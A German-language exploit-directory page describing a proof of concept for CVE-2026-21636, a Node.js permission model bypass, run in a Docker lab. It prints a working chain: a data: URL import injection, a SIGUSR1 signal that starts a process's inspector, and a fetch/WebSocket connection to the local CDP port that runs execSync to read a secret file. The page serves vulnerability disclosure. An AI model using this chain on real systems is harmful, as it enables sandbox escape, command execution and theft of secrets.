Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-21636 — Proof-of-Concept, das eine Umgehung des Node.js-Berechtigungsmodells demonstriert (CVE-2026-21636), die Netzwerkzugriff über undici/fetch auf lokale Dienste ermöglicht und so die Ausführung beliebigen Codes über CDP erlaubt. | Kitploit
Tools/GitHubGitHub/pauldechassey/cve-2026-21636
Container-SicherheitSchwachstellenanalyseExploitationWebanwendungs-ExploitationSicherheitsvirtualisierungPenetrationstests
GitHubpauldechassey/cve-2026-21636

CVE-2026-21636

Proof-of-Concept, das eine Umgehung des Node.js-Berechtigungsmodells demonstriert (CVE-2026-21636), die Netzwerkzugriff über undici/fetch auf lokale Dienste ermöglicht und so die Ausführung beliebigen Codes über CDP erlaubt.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
9vor 4 MonatenNoch nicht geprüft

CVE-2026-21636 - Node.js Permission Model UDS/Netzwerk-Bypass

Zusammenfassung der Schwachstelle

Das Permission Model von Node.js (--permission) soll einen Prozess sandboxen, indem es den Zugriff auf Dateisystem, Kindprozesse, Worker und Netzwerk einschränkt. CVE-2026-21636 zeigt, dass Verbindungen über undici/fetch (und net/tls) zu Unix Domain Sockets und lokalen TCP-Adressen die Netzwerk-Sperre vollständig umgehen, selbst wenn --allow-net nicht gesetzt ist.

Betroffen: Node.js v25 (Netzwerk-Berechtigungen sind zum Zeitpunkt der Offenlegung noch experimentell).
Dieser PoC reproduziert das Konzept auf v22, wo derselbe Bypass beobachtbar ist.

Ein Angreifer, der beliebiges JavaScript in einen Prozess injizieren kann, der unter --permission läuft (aber ohne --allow-net oder --allow-child-process), kann:

  1. Eine Verbindung zu privilegierten lokalen Diensten herstellen, die unerreichbar sein sollten.
  2. Über diesen Dienst pivotieren, um beliebige Befehle außerhalb der Sandbox auszuführen.

Umgebungsarchitektur

Zwei Prozesse laufen nebeneinander im Container unter supervisord:

target.cjs schreibt beim Start seine eigene PID in /tmp/target.pid und läuft dann in einer Endlosschleife (idler Opferprozess). server.mjs stellt einen Express-Server auf :8000 mit einem /pid-Endpunkt und einem verwundbaren /language-Endpunkt bereit.

/app/secret.txt gehört app (chmod 444). Beide Prozesse können auf OS-Ebene darauf zugreifen. Der Exploit stützt sich nicht auf eine Dateiberechtigungs-Barriere — er demonstriert, dass server.mjs trotz fehlendem --allow-net über fetch()/WebSocket 127.0.0.1:9229 erreichen und beliebigen Code im nicht-sandboxed target.cjs-Prozess ausführen kann. Das Lesen von secret.txt über CDP ist der Beweis für diese Codeausführung.

Hinweis: Was dieser PoC tatsächlich demonstriert

Da server.mjs bereits mit --allow-fs-read=/ läuft, ist das direkte Lesen von /app/secret.txt aus dem sandboxed Prozess trivial möglich — nur mit der JS-Injektion (Schritt 1):

root@kitploit:~
import { readFileSync } from 'fs';
export default { secret: readFileSync('/app/secret.txt', 'utf8') };

Beim Dateisystem-Lesezugriff geht es in diesem PoC nicht. Das Ziel ist die Demonstration von CVE-2026-21636: Trotz fehlendem --allow-net kann fetch() (undici) eine TCP-Verbindung zu 127.0.0.1:9229 aufbauen und damit die Netzwerk-Sperre des Permission Models vollständig umgehen. Der Exploit nutzt diesen Bypass, um über CDP in den vollständig nicht-sandboxed target.cjs-Prozess zu pivotieren und beliebige Codeausführung außerhalb der Sandbox zu erreichen; etwas, das kein noch so großes --allow-fs-read erlauben würde.


Einstiegspunkt - POST /language

Dieser Abschnitt liegt außerhalb des Geltungsbereichs des PoC.

root@kitploit:~
// server.mjs
app.post('/language', async (req, res) => {
    const requested = req.body?.lang ?? 'fr';
    res.json(await import(requested + '/index.js'));
});

Der Server führt ein dynamisches import() auf einen benutzerkontrollierten String aus. Node.js import() unterstützt nativ das data:-URL-Schema:

root@kitploit:~
data:text/javascript,<prozentkodiertes JS>

Das vom Server angehängte Suffix /index.js wird neutralisiert, indem // am Ende der Payload angehängt wird (wird als URL-Kommentar / ignorierter Pfadfragment behandelt).

Dies ermöglicht beliebige JavaScript-Ausführung im sandboxed Prozess — der Einstiegspunkt, um CVE-2026-21636 auszunutzen.


Permission Model - was erlaubt ist (und was nicht)

Der Server startet mit:

root@kitploit:~
node --permission --allow-fs-read=/ /app/server.mjs

Die Absicht: Selbst wenn ein Angreifer Code in server.mjs ausführt, kann er weder das Netzwerk erreichen, Prozesse spawnen noch auf den Inspector zugreifen.

CVE-2026-21636 durchbricht die --allow-net-Grenze.


Angriffskette (3 Schritte)

Schritt 1 - Ziel-PID abrufen

root@kitploit:~
GET /pid  →  { "pid": <N> }

target.cjs schreibt beim Start seine eigene PID in /tmp/target.pid. Der Server stellt sie bereit. Dies identifiziert den Opferprozess, der als CDP-Relay verwendet wird. Dies könnte auch durch JS-Injektion am Einstiegspunkt erfolgen; zur Vereinfachung habe ich einfach den /pid-Endpunkt erstellt.


Schritt 2 - V8-Inspector auf target.cjs über SIGUSR1 aktivieren

Payload, die über POST /language injiziert wird (als data:-URL):

root@kitploit:~
process.kill(<pid>, 'SIGUSR1');
export default { signal: 'SIGUSR1', sent_to: <pid> };

Wenn ein Node.js-Prozess SIGUSR1 empfängt, startet (oder setzt fort) er seinen V8/CDP-Debugger und beginnt auf folgender Adresse zu lauschen:

root@kitploit:~
127.0.0.1:9229

Da target.cjs ohne --permission läuft, ist sein Inspector vollständig privilegiert — er kann jeden Ausdruck auswerten, einschließlich require('child_process').execSync(...).

Das Senden von Signalen (process.kill) wird vom Permission Model nicht eingeschränkt, daher gelingt dieser Schritt aus der Sandbox heraus.


Schritt 3 - Verbindung zu CDP herstellen und Befehle ausführen (CVE-2026-21636)

Zweite Payload, die über POST /language injiziert wird:

root@kitploit:~
// Liste der debuggbaren Ziele von der Inspector-HTTP-API abrufen
const [{ id }] = await (await fetch('http://127.0.0.1:9229/json')).json();

// dann einen WebSocket zum CDP-Endpunkt von target.cjs öffnen
const result = await new Promise(resolve => {
  const ws = new WebSocket(`ws://127.0.0.1:9229/${id}`);
  ws.onopen = () => ws.send(JSON.stringify({
    id: 1,
    method: 'Runtime.evaluate',
    params: {
      expression: `process.mainModule.require('child_process')
                       .execSync('cat /app/secret.txt').toString()`,
      returnByValue: true
    }
  }));
  ws.onmessage = ({ data }) => { ws.close(); resolve(JSON.parse(data)); };
});

export default result;

Warum dies trotz fehlendem --allow-net funktioniert:

fetch() wird in Node.js von undici implementiert. CVE-2026-21636 zeigt, dass undicis Verbindungspfad für http://127.0.0.1:... (und UDS-socketPath-Optionen) nicht durch die Netzwerk-Prüfung des Permission Models läuft. Die Sandbox glaubt, dass kein ausgehender Netzwerkzugriff erfolgt ist, doch die TCP-Verbindung zu :9229 gelingt.

Der CDP-Runtime.evaluate-Aufruf läuft im nicht-sandboxed target.cjs-Prozess, sodass require('child_process') verfügbar ist und execSync uneingeschränkt funktioniert.


Vollständiger Exploit-Ablauf

root@kitploit:~
Angreifer (Python-Skript)
    │
    ├─[1]─ GET  /pid                          → pid = N
    │
    ├─[2]─ POST /language  data:js SIGUSR1    → target.cjs-Inspector startet auf :9229
    │
    └─[3]─ POST /language  data:js fetch+WS   → CDP Runtime.evaluate → cat /app/secret.txt
                                                           ↑
                                              CVE-2026-21636-Bypass hier
                                              (fetch zu 127.0.0.1 ohne --allow-net)

Verwendung

root@kitploit:~
# Umgebung erstellen und starten
docker compose up --build -d

# Exploit ausführen
python3 exploit.py

Erwartete Ausgabe:

root@kitploit:~
TARGET PID : 42
Response step 2 : {'signal': 'SIGUSR1', 'sent_to': 42}
SECRET : this_is_a_secret!

Referenzen

  • NVD - CVE-2026-21636
  • Node.js Permission Model Dokumentation
  • V8 Inspector / CDP-Protokoll
  • undici - Node.js eingebauter HTTP-Client
Tool herunterladen
ProzessBenutzerFlagsFähigkeiten
target.cjsappkeinevollständige Node.js-API, keine Sandbox
server.mjsapp--permission --allow-fs-read=/vollständiger FS-Lesezugriff — kein Netz, kein child_process, kein worker
BerechtigungStatus
--allow-fs-read=/gewährt (vollständiger Lesezugriff)
--allow-fs-writeverweigert
--allow-netverweigert (experimentell, nicht gesetzt)
--allow-child-processverweigert
--allow-workerverweigert
--allow-inspectorverweigert